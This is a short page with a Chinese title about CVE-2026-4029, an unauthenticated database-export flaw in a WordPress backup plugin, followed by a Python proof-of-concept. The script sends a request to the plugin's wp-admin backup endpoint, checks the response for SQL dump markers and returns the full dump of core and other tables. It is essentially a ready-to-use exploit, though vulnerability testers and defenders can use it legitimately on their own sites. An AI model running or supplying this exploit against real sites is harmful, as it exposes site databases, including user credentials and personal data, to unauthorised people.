CVE-2026-4029 WordPress插件数据库备份未授权导出漏洞

import requests def exploit_cve_2026_4029(target_url): """ PoC for CVE-2026-4029: Unauthenticated Database Export Note: This vulnerability works in WordPress Multisite environments. """ # The endpoint might vary based on the actual plugin implementation path # Common path for the backup functionality export_url = f"{target_url}/wp-admin/admin.php?page=wp-db-backup&backup=1&do_backup=1&coretables=1&othertables=1" headers = { "User-Agent": "CVE-2026-4029-Scanner/1.0" } try: response = requests.get(export_url, headers=headers, timeout=10) # Check if the response contains SQL dump indicators if response.status_code == 200 and ("INSERT INTO" in response.text or "CREATE TABLE" in response.text): print("[+] Vulnerability Confirmed: Database export successful.") print(f"[+] Dump size: {len(response.text)} bytes") return response.text else: print("[-] Target does not appear vulnerable or exploit failed.") return None except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") return None # Usage # target = "http://example.com" # exploit_cve_2026_4029(target)